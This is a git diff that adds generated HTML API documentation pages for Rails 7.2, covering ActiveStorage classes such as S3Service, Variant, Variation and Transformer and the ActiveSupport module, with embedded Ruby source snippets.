+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 40
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream(key, &block)
+        end
+      else
+        instrument :download, key: key do
+          object_for(key).get.body.string.force_encoding(Encoding::BINARY)
+        rescue Aws::S3::Errors::NoSuchKey
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(key, range) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 54
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        object_for(key).get(range: "bytes=#{range.begin}-#{range.exclude_end? ? range.end - 1 : range.end}").body.string.force_encoding(Encoding::BINARY)
+      rescue Aws::S3::Errors::NoSuchKey
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 74
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = object_for(key).exists?
+        payload[:exist] = answer
+        answer
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers_for_direct_upload(key, content_type:, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 94
+    def headers_for_direct_upload(key, content_type:, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **)
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if filename
+
+      { "Content-Type" => content_type, "Content-MD5" => checksum, "Content-Disposition" => content_disposition, **custom_metadata_headers(custom_metadata) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 28
+    def upload(key, io, checksum: nil, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}, **)
+      instrument :upload, key: key, checksum: checksum do
+        content_disposition = content_disposition_with(filename: filename, type: disposition) if disposition && filename
+
+        if io.size < multipart_upload_threshold
+          upload_with_single_part key, io, checksum: checksum, content_type: content_type, content_disposition: content_disposition, custom_metadata: custom_metadata
+        else
+          upload_with_multipart key, io, content_type: content_type, content_disposition: content_disposition, custom_metadata: custom_metadata
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 82
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      instrument :url, key: key do |payload|
+        generated_url = object_for(key).presigned_url :put, expires_in: expires_in.to_i,
+          content_type: content_type, content_length: content_length, content_md5: checksum,
+          metadata: custom_metadata, whitelist_headers: ["content-length"], **upload_options
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/SetCurrent.html b/src/7.2/classes/ActiveStorage/SetCurrent.html new file mode 100644 index 0000000000..da64ae0c03 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/SetCurrent.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::SetCurrent +layout: default +--- +
+ +
+
+ +
+ +

Sets the ActiveStorage::Current.url_options attribute, which the disk service uses to generate URLs. Include this concern in custom controllers that call ActiveStorage::Blob#url, ActiveStorage::Variant#url, or ActiveStorage::Preview#url so the disk service can generate URLs using the same host, protocol, and port as the current request.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Streaming.html b/src/7.2/classes/ActiveStorage/Streaming.html new file mode 100644 index 0000000000..ee94c0253f --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Streaming.html @@ -0,0 +1,143 @@ +--- +title: ActiveStorage::Streaming +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_BLOB_STREAMING_DISPOSITION="inline"
+ + + + + + + +

Instance Private methods

+ +
+

+ + send_blob_stream(blob, disposition: nil) + +

+ + +
+

Stream the blob from storage directly to the response. The disposition can be controlled by setting disposition. The content type and filename is set directly from the blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/concerns/active_storage/streaming.rb, line 56
+    def send_blob_stream(blob, disposition: nil) # :doc:
+      send_stream(
+          filename: blob.filename.sanitized,
+          disposition: blob.forced_disposition_for_serving || disposition || DEFAULT_BLOB_STREAMING_DISPOSITION,
+          type: blob.content_type_for_serving) do |stream|
+        blob.download do |chunk|
+          stream.write chunk
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/TransformJob.html b/src/7.2/classes/ActiveStorage/TransformJob.html new file mode 100644 index 0000000000..0e63d3a71b --- /dev/null +++ b/src/7.2/classes/ActiveStorage/TransformJob.html @@ -0,0 +1,107 @@ +--- +title: ActiveStorage::TransformJob +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(blob, transformations) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/jobs/active_storage/transform_job.rb, line 9
+  def perform(blob, transformations)
+    blob.representation(transformations).processed
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Transformers.html b/src/7.2/classes/ActiveStorage/Transformers.html new file mode 100644 index 0000000000..9cf4e941d4 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Transformers.html @@ -0,0 +1,73 @@ +--- +title: ActiveStorage::Transformers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer.html b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer.html new file mode 100644 index 0000000000..660fbee863 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer.html @@ -0,0 +1,75 @@ +--- +title: ActiveStorage::Transformers::ImageProcessingTransformer +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingArgument.html b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingArgument.html new file mode 100644 index 0000000000..17d6c4a686 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingArgument.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingMethod.html b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingMethod.html new file mode 100644 index 0000000000..14ae440337 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Transformers/ImageProcessingTransformer/UnsupportedImageProcessingMethod.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingMethod +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Transformers/Transformer.html b/src/7.2/classes/ActiveStorage/Transformers/Transformer.html new file mode 100644 index 0000000000..e910537d70 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Transformers/Transformer.html @@ -0,0 +1,224 @@ +--- +title: ActiveStorage::Transformers::Transformer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Transformers Transformer

+ +

A Transformer applies a set of transformations to an image.

+ +

The following concrete subclasses are included in Active Storage:

+ + +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + transformations
+ + + + +

Class Public methods

+ +
+

+ + new(transformations) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/transformers/transformer.rb, line 16
+      def initialize(transformations)
+        @transformations = transformations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + transform(file, format:) + +

+ + +
+

Applies the transformations to the source image in file, producing a target image in the specified format. Yields an open Tempfile containing the target image. Closes and unlinks the output tempfile after yielding to the given block. Returns the result of the block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/transformers/transformer.rb, line 23
+      def transform(file, format:)
+        output = process(file, format: format)
+
+        begin
+          yield output
+        ensure
+          output.close!
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + process(file, format:) + +

+ + +
+

Returns an open Tempfile containing a transformed image in the given format. All subclasses implement this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/transformers/transformer.rb, line 36
+        def process(file, format:) # :doc:
+          raise NotImplementedError
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/UnpreviewableError.html b/src/7.2/classes/ActiveStorage/UnpreviewableError.html new file mode 100644 index 0000000000..bbc845a9b3 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/UnpreviewableError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::UnpreviewableError +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveStorage::Blob#preview is called on a blob that isn’t previewable. Use ActiveStorage::Blob#previewable? to determine whether a blob is previewable.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/UnrepresentableError.html b/src/7.2/classes/ActiveStorage/UnrepresentableError.html new file mode 100644 index 0000000000..58b41bdfff --- /dev/null +++ b/src/7.2/classes/ActiveStorage/UnrepresentableError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::UnrepresentableError +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveStorage::Blob#representation is called on a blob that isn’t representable. Use ActiveStorage::Blob#representable? to determine whether a blob is representable.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/VERSION.html b/src/7.2/classes/ActiveStorage/VERSION.html new file mode 100644 index 0000000000..06e150af85 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActiveStorage::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Variant.html b/src/7.2/classes/ActiveStorage/Variant.html new file mode 100644 index 0000000000..681d024628 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Variant.html @@ -0,0 +1,457 @@ +--- +title: ActiveStorage::Variant +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Variant

+ +

Image blobs can have variants that are the result of a set of transformations applied to the original. These variants are used to create thumbnails, fixed-size avatars, or any other derivative image from the original.

+ +

Variants rely on ImageProcessing gem for the actual transformations of the file, so you must add gem "image_processing" to your Gemfile if you wish to use variants. By default, images will be processed with ImageMagick using the MiniMagick gem, but you can also switch to the libvips processor operated by the ruby-vips gem).

+ +
Rails.application.config.active_storage.variant_processor
+# => :mini_magick
+
+Rails.application.config.active_storage.variant_processor = :vips
+# => :vips
+
+ +

Note that to create a variant it’s necessary to download the entire blob file from the service. Because of this process, you also want to be considerate about when the variant is actually processed. You shouldn’t be processing variants inline in a template, for example. Delay the processing to an on-demand controller, like the one provided in ActiveStorage::RepresentationsController.

+ +

To refer to such a delayed on-demand variant, simply link to the variant through the resolved route provided by Active Storage like so:

+ +
<%= image_tag Current.user.avatar.variant(resize_to_limit: [100, 100]) %>
+
+ +

This will create a URL for that specific blob with that specific variant, which the ActiveStorage::RepresentationsController can then produce on-demand.

+ +

When you do want to actually produce the variant needed, call processed. This will check that the variant has already been processed and uploaded to the service, and, if so, just return that. Otherwise it will perform the transformations, upload the variant to the service, and return itself again. Example:

+ +
avatar.variant(resize_to_limit: [100, 100]).processed.url
+
+ +

This will create and process a variant of the avatar blob that’s constrained to a height and width of 100. Then it’ll upload said variant to the service according to a derivative key of the blob and the transformations.

+ +

You can combine any number of ImageMagick/libvips operations into a variant, as well as any macros provided by the ImageProcessing gem (such as resize_to_limit):

+ +
avatar.variant(resize_to_limit: [800, 800], colourspace: "b-w", rotate: "-90")
+
+ +

Visit the following links for a list of available ImageProcessing commands and ImageMagick/libvips operations:

+ + +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + blob
+ [R] + variation
+ + + + +

Class Public methods

+ +
+

+ + new(blob, variation_or_variation_key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 62
+  def initialize(blob, variation_or_variation_key)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation_or_variation_key)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + destroy() + +

+ + +
+

Deletes variant file from service.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 102
+  def destroy
+    service.delete(key)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(&block) + +

+ + +
+

Downloads the file associated with this variant. If no block is given, the entire file is read into memory and returned. That’ll use a lot of RAM for very large files. If a block is given, then the download is streamed and yielded in chunks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 88
+  def download(&block)
+    service.download key, &block
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filename() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 92
+  def filename
+    ActiveStorage::Filename.new "#{blob.filename.base}.#{variation.format.downcase}"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image() + +

+ + +
+

Returns the receiving variant. Allows ActiveStorage::Variant and ActiveStorage::Preview instances to be used interchangeably.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 97
+  def image
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key() + +

+ + +
+

Returns a combination key of the blob and the variation that together identifies a specific variant.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 73
+  def key
+    "variants/#{blob.key}/#{OpenSSL::Digest::SHA256.hexdigest(variation.key)}"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + processed() + +

+ + +
+

Returns the variant instance itself after it’s been processed or an existing processing has been found on the service.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 67
+  def processed
+    process unless processed?
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline) + +

+ + +
+

Returns the URL of the blob variant on the service. See {ActiveStorage::Blob#url} for details.

+ +

Use url_for(variant) (or the implied form, like link_to variant or redirect_to variant) to get the stable URL for a variant that points to the ActiveStorage::RepresentationsController, which in turn will use this service_call method for its redirection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant.rb, line 82
+  def url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline)
+    service.url key, expires_in: expires_in, disposition: disposition, filename: filename, content_type: content_type
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/VariantRecord.html b/src/7.2/classes/ActiveStorage/VariantRecord.html new file mode 100644 index 0000000000..c30b623d65 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/VariantRecord.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::VariantRecord +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/VariantWithRecord.html b/src/7.2/classes/ActiveStorage/VariantWithRecord.html new file mode 100644 index 0000000000..d40772372b --- /dev/null +++ b/src/7.2/classes/ActiveStorage/VariantWithRecord.html @@ -0,0 +1,297 @@ +--- +title: ActiveStorage::VariantWithRecord +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Variant With Record

+ +

Like an ActiveStorage::Variant, but keeps detail about the variant in the database as an ActiveStorage::VariantRecord. This is only used if ActiveStorage.track_variants is enabled.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + blob
+ [R] + variation
+ + + + +

Class Public methods

+ +
+

+ + new(blob, variation) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant_with_record.rb, line 14
+  def initialize(blob, variation)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + destroy() + +

+ + +
+

Destroys record and deletes file from service.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant_with_record.rb, line 32
+  def destroy
+    record&.destroy
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filename() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant_with_record.rb, line 27
+  def filename
+    ActiveStorage::Filename.new "#{blob.filename.base}.#{variation.format.downcase}"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant_with_record.rb, line 23
+  def image
+    record&.image
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + processed() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variant_with_record.rb, line 18
+  def processed
+    process unless processed?
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Variation.html b/src/7.2/classes/ActiveStorage/Variation.html new file mode 100644 index 0000000000..0ebae4fac1 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Variation.html @@ -0,0 +1,503 @@ +--- +title: ActiveStorage::Variation +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Variation

+ +

A set of transformations that can be applied to a blob to create a variant. This class is exposed via the ActiveStorage::Blob#variant method and should rarely be used directly.

+ +

In case you do need to use this directly, it’s instantiated using a hash of transformations where the key is the command and the value is the arguments. Example:

+ +
ActiveStorage::Variation.new(resize_to_limit: [100, 100], colourspace: "b-w", rotate: "-90", saver: { trim: true })
+
+ +

The options map directly to ImageProcessing commands.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + transformations
+ + + + +

Class Public methods

+ +
+

+ + decode(key) + +

+ + +
+

Returns a Variation instance with the transformations that were encoded by encode.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 35
+    def decode(key)
+      new ActiveStorage.verifier.verify(key, purpose: :variation)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode(transformations) + +

+ + +
+

Returns a signed key for the transformations, which can be used to refer to a specific variation in a URL or combined key (like ActiveStorage::Variant#key).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 41
+    def encode(transformations)
+      ActiveStorage.verifier.generate(transformations, purpose: :variation)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(transformations) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 46
+  def initialize(transformations)
+    @transformations = transformations.deep_symbolize_keys
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap(variator) + +

+ + +
+

Returns a Variation instance based on the given variator. If the variator is a Variation, it is returned unmodified. If it is a String, it is passed to ActiveStorage::Variation.decode. Otherwise, it is assumed to be a transformations Hash and is passed directly to the constructor.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 23
+    def wrap(variator)
+      case variator
+      when self
+        variator
+      when String
+        decode variator
+      else
+        new variator
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + content_type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 70
+  def content_type
+    Marcel::MimeType.for(extension: format.to_s)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_to(defaults) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 50
+  def default_to(defaults)
+    self.class.new transformations.reverse_merge(defaults)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + digest() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 79
+  def digest
+    OpenSSL::Digest::SHA1.base64digest Marshal.dump(transformations)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 62
+  def format
+    transformations.fetch(:format, :png).tap do |format|
+      if Marcel::Magic.by_extension(format.to_s).nil?
+        raise ArgumentError, "Invalid variant format (#{format.inspect})"
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key() + +

+ + +
+

Returns a signed key for all the transformations that this variation was instantiated with.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 75
+  def key
+    self.class.encode(transformations)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform(file, &block) + +

+ + +
+

Accepts a File object, performs the transformations against it, and saves the transformed image into a temporary file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/variation.rb, line 56
+  def transform(file, &block)
+    ActiveSupport::Notifications.instrument("transform.active_storage") do
+      transformer.transform(file, format: format, &block)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport.html b/src/7.2/classes/ActiveSupport.html new file mode 100644 index 0000000000..e9d2be57e6 --- /dev/null +++ b/src/7.2/classes/ActiveSupport.html @@ -0,0 +1,1027 @@ +--- +title: ActiveSupport +layout: default +--- +
+ +
+
+ +
+ +

Active Support – Utility classes and Ruby extensions from Rails

+ +

Active Support is a collection of utility classes and standard library extensions that were found useful for the Rails framework. These additions reside in this package so they can be loaded as needed in Ruby projects outside of Rails.

+ +

You can read more about the extensions in the Active Support Core Extensions guide.

+ +

Download and installation

+ +

The latest version of Active Support can be installed with RubyGems:

+ +
$ gem install activesupport
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Support is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + cache_format_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 105
+  def self.cache_format_version
+    Cache.format_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_format_version=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 109
+  def self.cache_format_version=(value)
+    Cache.format_version = value
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 93
+  def self.eager_load!
+    super
+
+    NumberHelper.eager_load!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Active Support as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time_preserves_timezone() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 113
+  def self.to_time_preserves_timezone
+    DateAndTime::Compatibility.preserve_timezone
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time_preserves_timezone=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 117
+  def self.to_time_preserves_timezone=(value)
+    unless value
+      ActiveSupport.deprecator.warn(
+        "Support for the pre-Ruby 2.4 behavior of to_time has been deprecated and will be removed in Rails 8.0."
+      )
+    end
+
+    DateAndTime::Compatibility.preserve_timezone = value
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_to_local_returns_utc_offset_times() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 127
+  def self.utc_to_local_returns_utc_offset_times
+    DateAndTime::Compatibility.utc_to_local_returns_utc_offset_times
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_to_local_returns_utc_offset_times=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support.rb, line 131
+  def self.utc_to_local_returns_utc_offset_times=(value)
+    DateAndTime::Compatibility.utc_to_local_returns_utc_offset_times = value
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Active Support as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ActionableError.html b/src/7.2/classes/ActiveSupport/ActionableError.html new file mode 100644 index 0000000000..ea3126b99d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ActionableError.html @@ -0,0 +1,84 @@ +--- +title: ActiveSupport::ActionableError +layout: default +--- +
+ +
+
+ +
+ +

Actionable Errors

+ +

Actionable errors lets you define actions to resolve an error.

+ +

To make an error actionable, include the ActiveSupport::ActionableError module and invoke the action class macro to define the action. An action needs a name and a block to execute.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ActionableError/ClassMethods.html b/src/7.2/classes/ActiveSupport/ActionableError/ClassMethods.html new file mode 100644 index 0000000000..d78c2f5868 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ActionableError/ClassMethods.html @@ -0,0 +1,110 @@ +--- +title: ActiveSupport::ActionableError::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + action(name, &block) + +

+ + +
+

Defines an action that can resolve the error.

+ +
class PendingMigrationError < MigrationError
+  include ActiveSupport::ActionableError
+
+  action "Run pending migrations" do
+    ActiveRecord::Tasks::DatabaseTasks.migrate
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/actionable_error.rb, line 45
+      def action(name, &block)
+        _actions[name] = block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
